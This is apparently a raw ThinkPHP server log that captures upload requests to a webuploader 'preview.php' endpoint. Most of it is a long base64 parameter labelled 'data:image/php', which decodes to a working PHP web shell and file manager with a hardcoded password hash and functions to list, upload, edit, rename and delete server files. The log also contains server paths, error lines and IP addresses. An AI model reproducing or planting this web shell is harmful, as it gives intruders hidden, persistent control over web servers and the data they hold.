HRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:05+08:00 ] 119.42.146.234 POST 59.110.137.245/js/webuploader/0.1.15/server/preview.php [运行时间:0.002727s] [吞吐率:366.70req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'js', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy